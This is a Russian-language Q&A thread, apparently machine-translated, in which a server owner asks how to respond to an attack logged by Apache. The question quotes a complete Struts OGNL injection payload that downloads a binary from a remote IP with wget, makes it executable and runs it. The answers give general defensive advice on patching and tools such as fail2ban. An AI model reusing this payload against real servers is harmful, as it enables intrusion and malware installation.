Я обнаружил попытку атаки - что мне делать?

Question

Я просматривал некоторые журналы Apache и наткнулся на то, что кажется атакой

core:error] [pid 20356] (36)File name too long: [client xxx.xxx.xxx.xxx:56856] AH00036: access to
/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).
(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().
exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)').getInputStream()))).
(#w.close())}/index.action failed (filesystem path '/var/www/html/${(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).
(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).
(#w=#ct.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse").getWriter()).
(#w.print(@org.apache.commons.io.IOUtils@toString(@java.lang.Runtime@getRuntime().exec('uname --m|grep x86_64 >> ')

Строка исполнения:

exec('uname --m|grep x86_64 >> /dev/null || (pkill loop ; wget -O .loop http://111.90.158.225/d/ft32 && chmod 777 .loop && ./.loop)
&&(pkill loop ; wget -O .loop http://111.90.158.225/d/ft64 && chmod 777 .loop && ./.loop)')

Я загрузил файл wget -O .loop http://111.90.158.225/d/ft64 в песочницу, и он кажется скомпилированным / бинарным, поэтому я не уверен, что файл делает при запуске.

1. По этой ошибке кто-нибудь может сказать, есть ли у меня уязвимость или, что еще лучше, как посмотреть на уязвимости / улучшить безопасность этой атаки?

   • Я использую Symfony 4 API на Apache 2.4.
   • Я не уверен в том, как предпринимаются попытки атаки и как они пытаются выполнить команду .exec

2. Есть ли подходящее место, чтобы сообщить об этом?

Answer 1

Ваш вопрос гласит:

Я обнаружил попытку атаки - что мне делать?

И тогда вы затаив дыхание утверждаете следующее:

Я просматривал некоторые журналы Apache и наткнулся на то, что кажется атакой ...

Чем ты занимаешься? Простой ответ:

Не паникуйте!

Паника и слишком большие усилия, слишком быстрые, чтобы попытаться смягчить предполагаемую угрозу, могут - и могут - нанести более серьезный ущерб серверу, чем любой ущерб, который может нанести реальная атака.

Но более подробно, каждый веб-сервер в мире постоянно проверяется, а иногда и подвергается реальной атаке. Это природа интернета. Ваши журналы Apache просто регистрируют запросы к серверу и все. Если ваша версия Apache и соответствующая ОС (предполагается, что Linux) полностью исправлены и обновлены, вы должны быть в курсе. Если на вашем сервере выполняются какие-либо сценарии, которые обращены к сети, например, сценарии PHP, у вас может быть уязвимость, зависящая от того, насколько надежен ваш код PHP.

Тем не менее, я все равно не буду слишком беспокоиться. Если ваш PHP-код состоит из предварительно упакованной системы, такой как WordPress или Drupal, убедитесь, что CMS исправлена и обновлена. Если этот код PHP является пользовательским кодом, то этот пользовательский код уязвим только в той степени, в которой он компетентен в кодировании.

Но все это все сводится к моему первоначальному сообщению:

Не паникуйте!

Вероятность того, что вы скомпрометируете этот скрипт, невелика. Это не «атака», а попытка атаки.

Все, что выходит за рамки этого резюме, действительно выходит за рамки простого вопроса.

Тем не менее, наиболее уязвимые веб-сайты не являются веб-сайтами с пользовательской кодировкой, а представляют собой предварительно упакованные системы, такие как WordPress и Drupal, которые не были исправлены владельцами их сайтов. Почему эти сайты не исправлены? Слишком много причин для перечисления. Но подавляющее большинство веб-атак нацелены на устаревшие и незапатченные предварительно упакованные системы, такие как WordPress и Drupal, больше всего на свете.

Также вы спрашиваете:

Есть ли подходящее место, чтобы сообщить об этом?

Сообщите что кому? В основном вас просто зондируют (с попытками атаки) какой-то случайный скрипт где-то. Если вы знали IP-адрес, вы могли бы связаться с владельцем этого IP-адреса и посмотреть, смогут ли они что-то сделать. Но в 2018 году это в лучшем случае бесплодное усилие.

Зачем? Легко: в настоящее время хакеры используют ботнеты, которые часто представляют собой просто зараженные компьютеры или кластеры одноразовых облачных серверов, которые выполняют грязную работу по атаке серверов. Тот факт, что на вас нападает конкретный IP-адрес, не означает, что владельцем системы по этому IP-адресу является злоумышленник. Это может быть просто зараженная система. И если это одноразовый облачный сервер, вы можете обратиться к интернет-провайдеру, который управляет этим облачным сервером, и, возможно, они могут быть предупреждены. Но все произойдет, если владелец ботнета перенесет эти серверы атак на другого интернет-провайдера.

Лучше просто убедиться, что ваш код и сервер надежны, и не беспокойтесь о таких «отчетах». Эта атака не уникальна, и если вы сообщите о ней, вы не получите желаемых результатов.

Answer 2

Если вы внимательно посмотрите на ваши журналы apache, вы, вероятно, увидите множество примеров попыток соединения, пытающихся запустить различные известные уязвимости на вашем сервере.

Важно постоянно обновлять apache и любое приложение на вашем сервере с помощью исправлений безопасности. Также обратите внимание на Apache Secure Baseline Doc из СНГ, чтобы упростить вашу установку.
Наконец, взгляните на такой инструмент, как fail2ban и jache-файлы и фильтры apache (apache-noscript, apache-overflow и т.д.).